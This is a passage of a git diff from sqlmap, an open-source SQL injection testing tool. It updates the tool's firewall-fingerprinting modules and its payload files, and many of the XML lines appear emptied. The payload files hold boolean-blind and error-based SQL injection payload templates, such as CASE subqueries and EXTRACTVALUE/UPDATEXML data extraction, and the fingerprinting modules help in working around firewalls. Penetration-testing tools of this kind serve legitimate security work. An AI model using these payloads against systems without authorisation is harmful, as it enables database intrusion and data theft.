sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Reblaze Web Application Firewall (Reblaze)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + _, headers, _ = get_page(get=vector) + retval = re.search(r"\Arbzid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"Reblaze Secure Web Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py index 5e1ce590d97..ec651de899a 100644 --- a/waf/requestvalidationmode.py +++ b/waf/requestvalidationmode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/safe3.py b/waf/safe3.py index 2aa46809952..2ed28a06529 100644 --- a/waf/safe3.py +++ b/waf/safe3.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -23,4 +23,3 @@ def detect(get_page): break return retval - diff --git a/waf/safedog.py b/waf/safedog.py index aabbabcbe43..2e0f8fd0b32 100644 --- a/waf/safedog.py +++ b/waf/safedog.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/secureiis.py b/waf/secureiis.py index be22a0a58de..b9b3f48397f 100644 --- a/waf/secureiis.py +++ b/waf/secureiis.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/senginx.py b/waf/senginx.py index 80c5cf0a52f..33c3c6d8f3e 100644 --- a/waf/senginx.py +++ b/waf/senginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/sitelock.py b/waf/sitelock.py index e17b67c620e..03eb231d1d5 100644 --- a/waf/sitelock.py +++ b/waf/sitelock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/sonicwall.py b/waf/sonicwall.py index f87d9c40c6f..49a54503183 100644 --- a/waf/sonicwall.py +++ b/waf/sonicwall.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/sophos.py b/waf/sophos.py index ea7e83658e3..5ff97abf1d0 100644 --- a/waf/sophos.py +++ b/waf/sophos.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/stingray.py b/waf/stingray.py index 896ba765e47..bdbda8edf3a 100644 --- a/waf/stingray.py +++ b/waf/stingray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/sucuri.py b/waf/sucuri.py index 7b1eb4cc8b7..33cf57a7078 100644 --- a/waf/sucuri.py +++ b/waf/sucuri.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -21,6 +21,8 @@ def detect(get_page): retval |= "Access Denied - Sucuri Website Firewall" in (page or "") retval |= "Sucuri WebSite Firewall - CloudProxy - Access Denied" in (page or "") retval |= re.search(r"Questions\?.+cloudproxy@sucuri\.net", (page or "")) is not None + retval |= headers.get("X-Sucuri-ID") is not None + retval |= headers.get("X-Sucuri-Cache") is not None if retval: break diff --git a/waf/tencent.py b/waf/tencent.py index fd8a7ba079f..d5dfed212f9 100644 --- a/waf/tencent.py +++ b/waf/tencent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/teros.py b/waf/teros.py index 2516454709e..1d4c8019da7 100644 --- a/waf/teros.py +++ b/waf/teros.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/trafficshield.py b/waf/trafficshield.py index 9a67c36d9e4..a2b830eed38 100644 --- a/waf/trafficshield.py +++ b/waf/trafficshield.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/urlscan.py b/waf/urlscan.py index 3f044c76bd6..e3206c33a61 100644 --- a/waf/urlscan.py +++ b/waf/urlscan.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/uspses.py b/waf/uspses.py index bc26c1efdbe..7f857240e27 100644 --- a/waf/uspses.py +++ b/waf/uspses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/varnish.py b/waf/varnish.py index 3075866336b..946e1271396 100644 --- a/waf/varnish.py +++ b/waf/varnish.py @@ -1,13 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Varnish FireWall (OWASP)" @@ -17,10 +16,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = headers.get("X-Varnish") is not None - retval |= re.search(r"varnish\Z", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None - retval |= re.search(r"varnish", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= code == 404 and re.search(r"\bXID: \d+", page or "") is not None + retval = code == 404 and re.search(r"\bXID: \d+", page or "") is not None + retval |= code >= 400 and "Request rejected by xVarnish-WAF" in (page or "") if retval: break diff --git a/waf/wallarm.py b/waf/wallarm.py index 9ad1f46c6a8..3c98c436ace 100644 --- a/waf/wallarm.py +++ b/waf/wallarm.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/watchguard.py b/waf/watchguard.py index f6c63e4ac1b..bb40d49d97b 100644 --- a/waf/watchguard.py +++ b/waf/watchguard.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/webappsecure.py b/waf/webappsecure.py index 5eb0e2e4f01..e966302c0db 100644 --- a/waf/webappsecure.py +++ b/waf/webappsecure.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/webknight.py b/waf/webknight.py index ed9247bdd0e..7fbdc6f7b27 100644 --- a/waf/webknight.py +++ b/waf/webknight.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,9 +16,10 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, code = get_page(get=vector) + page, headers, code = get_page(get=vector) retval = code == 999 retval |= re.search(r"WebKnight", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= any(_ in (page or "") for _ in ("WebKnight Application Firewall Alert", "AQTRONIX WebKnight")) if retval: break diff --git a/waf/wordfence.py b/waf/wordfence.py index 0a941c9245f..40a6711687f 100644 --- a/waf/wordfence.py +++ b/waf/wordfence.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,8 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = re.search(r"This response was generated by Wordfence", page or "", re.I) is not None - retval |= re.search(r"Your access to this site has been limited", page or "", re.I) is not None + retval = any(_ in (page or "") for _ in ("A potentially unsafe operation has been detected in your request to this site", "Generated by Wordfence", "Your access to this site has been limited", "This response was generated by Wordfence")) if retval: break diff --git a/waf/yundun.py b/waf/yundun.py index ede324f0a05..e9b57cac4ca 100644 --- a/waf/yundun.py +++ b/waf/yundun.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/yunsuo.py b/waf/yunsuo.py index fd0b9b36944..d51da493558 100644 --- a/waf/yunsuo.py +++ b/waf/yunsuo.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/zenedge.py b/waf/zenedge.py index 82d367cfa31..d15ca0fc341 100644 --- a/waf/zenedge.py +++ b/waf/zenedge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,8 +16,9 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, code = get_page(get=vector) + page, headers, code = get_page(get=vector) retval = code >= 400 and re.search(r"\AZENEDGE", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= all(_ in (page or "") for _ in ("Your request has been blocked", "Incident ID", "/__zenedge/assets/")) if retval: break diff --git a/xml/banner/generic.xml b/xml/banner/generic.xml index eb97b1d8810..6e671825f0b 100644 --- a/xml/banner/generic.xml +++ b/xml/banner/generic.xml @@ -27,49 +27,53 @@ + + + + - + - + - + - + - + - + - + - + - + - + - + diff --git a/xml/banner/mysql.xml b/xml/banner/mysql.xml index 5ac157302c4..b637ebb92e2 100644 --- a/xml/banner/mysql.xml +++ b/xml/banner/mysql.xml @@ -35,6 +35,22 @@ + + + + + + + + + + + + + + + + diff --git a/xml/banner/postgresql.xml b/xml/banner/postgresql.xml index 4c64844d790..7f03e8e8c4a 100644 --- a/xml/banner/postgresql.xml +++ b/xml/banner/postgresql.xml @@ -13,13 +13,4 @@ - - - - - - - - - diff --git a/xml/banner/server.xml b/xml/banner/server.xml index 48f0ab15888..2a6fc28e300 100644 --- a/xml/banner/server.xml +++ b/xml/banner/server.xml @@ -89,6 +89,10 @@ + + + + @@ -155,8 +159,8 @@ - - + + @@ -273,6 +277,22 @@ + + + + + + + + + + + + + + + + @@ -379,6 +399,14 @@ + + + + + + + + @@ -678,6 +706,14 @@ + + + + + + + + @@ -753,12 +789,70 @@ - + + + + + + + + + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/set-cookie.xml b/xml/banner/set-cookie.xml index c9e34d2ceaa..fc454fcaaa0 100644 --- a/xml/banner/set-cookie.xml +++ b/xml/banner/set-cookie.xml @@ -11,7 +11,7 @@ - + @@ -19,19 +19,35 @@ + + + + + + + + + + + + + + + + - - + + - + diff --git a/xml/banner/x-powered-by.xml b/xml/banner/x-powered-by.xml index 633a35e5cff..64741769c85 100644 --- a/xml/banner/x-powered-by.xml +++ b/xml/banner/x-powered-by.xml @@ -1,6 +1,6 @@ - + @@ -15,6 +15,22 @@ + + + + + + + + + + + + + + + + diff --git a/xml/boundaries.xml b/xml/boundaries.xml index b4fa0b71072..7317fdaf055 100644 --- a/xml/boundaries.xml +++ b/xml/boundaries.xml @@ -54,6 +54,7 @@ Tag: 3: LIKE single quoted string 4: Double quoted string 5: LIKE double quoted string + 6: Identifier (e.g. column name) Sub-tag: A string to prepend to the payload. @@ -293,94 +294,32 @@ Formats: AND "[RANDSTR]" LIKE "[RANDSTR] - - 2 - 1 - 1,2 - 2 - %') - AND ('%'=' - - - - 3 - 1 - 1,2 - 2 - %')) - AND (('%'=' - - - - 4 - 1 - 1,2 - 2 - %'))) - AND ((('%'=' - - 1 1 1,2 - 2 - %' - AND '%'=' - - - - 4 - 1 - 1,2 - 2 - %") - AND ("%"=" - - - - 5 - 1 - 1,2 - 2 - %")) - AND (("%"=" - - - - 5 - 1 - 1,2 - 2 - %"))) - AND ((("%"=" + 1 + + [GENERIC_SQL_COMMENT] 3 1 1,2 - 2 - %" - AND "%"=" - - - - 1 - 1 - 1,2 1 - [GENERIC_SQL_COMMENT] + # [RANDSTR] + 3 1 1,2 - 1 - - # [RANDSTR] + 2 + ' + OR '[RANDSTR1]'='[RANDSTR2] @@ -444,7 +383,7 @@ Formats: 9 1 2 - '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] + '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )||' @@ -453,7 +392,7 @@ Formats: 9 1 2 - '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] )||' @@ -461,8 +400,8 @@ Formats: 5 9 1 - 1 - '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + 2 + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+' @@ -471,8 +410,35 @@ Formats: 9 1 2 - '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+' + ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] + )|| + + + + 5 + 9 + 1 + 2 + ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )|| + + + + 5 + 9 + 1 + 1 + +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + )+ + + + + 5 + 9 + 1 + 2 + +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+ @@ -550,6 +516,35 @@ Formats: + + + 4 + 8 + 1 + 6 + `=`[ORIGINAL]` + AND `[ORIGINAL]`=`[ORIGINAL] + + + + 5 + 8 + 1 + 6 + "="[ORIGINAL]" + AND "[ORIGINAL]"="[ORIGINAL] + + + + 5 + 8 + 1 + 6 + ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM] + )|[[ORIGINAL] + + + 4 diff --git a/xml/errors.xml b/xml/errors.xml index e84ad922e46..b8c8165dca1 100644 --- a/xml/errors.xml +++ b/xml/errors.xml @@ -4,12 +4,16 @@ - - + + + - + + + + @@ -21,6 +25,11 @@ + + + + + @@ -28,16 +37,21 @@ - + - + - + + - + + + + + @@ -54,11 +68,14 @@ - - - + + + + + + @@ -67,20 +84,30 @@ + + + + + + + + - + + + @@ -88,33 +115,40 @@ - - + + + + + - + + + - + + - + + @@ -125,9 +159,13 @@ - + + + + + diff --git a/xml/payloads/boolean_blind.xml b/xml/payloads/boolean_blind.xml index 114097cf79d..efb9e5cdcbc 100644 --- a/xml/payloads/boolean_blind.xml +++ b/xml/payloads/boolean_blind.xml @@ -160,7 +160,7 @@ Tag: 1 1 1 - 1,9 + 1,8,9 1 AND [INFERENCE] @@ -204,7 +204,41 @@ Tag: - AND boolean-based blind - WHERE or HAVING clause (Generic comment) + AND boolean-based blind - WHERE or HAVING clause (subquery - comment) + 1 + 2 + 1 + 1,8,9 + 1 + AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] + + + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + + + OR boolean-based blind - WHERE or HAVING clause (subquery - comment) + 1 + 2 + 3 + 1,9 + 2 + OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] + + + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + + + AND boolean-based blind - WHERE or HAVING clause (comment) 1 2 1 @@ -221,7 +255,7 @@ Tag: - OR boolean-based blind - WHERE or HAVING clause (Generic comment) + OR boolean-based blind - WHERE or HAVING clause (comment) 1 2 3 @@ -238,7 +272,7 @@ Tag: - OR boolean-based blind - WHERE or HAVING clause (Generic comment) (NOT) + OR boolean-based blind - WHERE or HAVING clause (NOT - comment) 1 4 3 @@ -295,7 +329,7 @@ Tag: - OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) + OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) 1 3 3 @@ -378,7 +412,7 @@ Tag: 1 3 1 - 1,2,3 + 1,2,3,8 1 AND MAKE_SET([INFERENCE],[RANDNUM]) @@ -416,7 +450,7 @@ Tag: 1 4 1 - 1,2,3 + 1,2,3,8 1 AND ELT([INFERENCE],[RANDNUM]) @@ -454,7 +488,7 @@ Tag: 1 5 1 - 1,2,3 + 1,2,3,8 1 AND ([INFERENCE])*[RANDNUM] @@ -492,7 +526,7 @@ Tag: 1 2 1 - 1 + 1,8 1 AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL @@ -566,83 +600,19 @@ Tag: - MySQL >= 5.0 boolean-based blind - Parameter replace + Boolean-based blind - Parameter replace (original value) 1 1 1 1,2,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - -
    - MySQL - >= 5.0 -
    -
    - - - MySQL >= 5.0 boolean-based blind - Parameter replace (original value) - 1 - 2 - 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - -
    - MySQL - >= 5.0 -
    -
    - - - MySQL < 5.0 boolean-based blind - Parameter replace - 1 - 2 - 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) -
    - MySQL - < 5.0 -
    -
    - - - MySQL < 5.0 boolean-based blind - Parameter replace (original value) - 1 - 3 - 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - -
    - MySQL - < 5.0 -
    @@ -1011,7 +981,7 @@ Tag: - Boolean-based blind - Parameter replace (DUAL) (original value) + Boolean-based blind - Parameter replace (DUAL - original value) 1 3 1 @@ -1045,7 +1015,7 @@ Tag: - Boolean-based blind - Parameter replace (CASE) (original value) + Boolean-based blind - Parameter replace (CASE - original value) 1 3 1 @@ -1361,6 +1331,23 @@ Tag: SAP MaxDB + + + + HAVING boolean-based blind - WHERE, GROUP BY clause + 1 + 3 + 1 + 1,2 + 1 + HAVING [INFERENCE] + + HAVING [RANDNUM]=[RANDNUM] + + + HAVING [RANDNUM]=[RANDNUM1] + + @@ -1369,7 +1356,7 @@ Tag: 1 4 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) @@ -1390,7 +1377,7 @@ Tag: 1 5 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) @@ -1411,7 +1398,7 @@ Tag: 1 3 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) @@ -1432,7 +1419,7 @@ Tag: 1 5 1 - 0 + 1-8 1 ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 @@ -1452,7 +1439,7 @@ Tag: 1 3 1 - 0 + 1-8 1 ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] @@ -1474,7 +1461,7 @@ Tag: 1 4 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) @@ -1496,7 +1483,7 @@ Tag: 1 4 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL @@ -1516,7 +1503,7 @@ Tag: 1 5 1 - 0 + 1-8 1 ;IIF([INFERENCE],1,1/0) @@ -1536,7 +1523,7 @@ Tag: 1 5 1 - 0 + 1-8 1 ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END diff --git a/xml/payloads/error_based.xml b/xml/payloads/error_based.xml index 5cd78d8c107..410cada6941 100644 --- a/xml/payloads/error_based.xml +++ b/xml/payloads/error_based.xml @@ -7,7 +7,7 @@ 2 4 1 - 1,2,3,9 + 1,2,3,8,9 1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) @@ -32,7 +32,7 @@ 2 4 3 - 1,9 + 1,8,9 1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) @@ -56,7 +56,7 @@ 2 4 1 - 1,2,3,9 + 1,2,3,8,9 1 AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -76,7 +76,7 @@ 2 4 3 - 1,9 + 1,8,9 1 OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -96,7 +96,7 @@ 2 5 1 - 1,2,3,9 + 1,2,3,8,9 1 AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) @@ -117,7 +117,7 @@ 2 5 3 - 1,9 + 1,8,9 1 OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) @@ -137,7 +137,7 @@ 2 1 1 - 1,2,3,9 + 1,2,3,8,9 1 AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) @@ -161,7 +161,7 @@ 2 1 3 - 1,2,3,9 + 1,2,3,8,9 1 OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) @@ -186,7 +186,7 @@ 2 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -210,7 +210,7 @@ 2 2 3 - 1,2,3,9 + 1,2,3,8,9 1 OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -235,7 +235,7 @@ 2 3 1 - 1,2,3,9 + 1,2,3,8,9 1 AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) @@ -259,7 +259,7 @@ 2 3 3 - 1,2,3,9 + 1,2,3,8,9 1 OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) @@ -284,7 +284,7 @@ 2 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -309,7 +309,7 @@ 2 2 3 - 1,9 + 1,8,9 1 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x 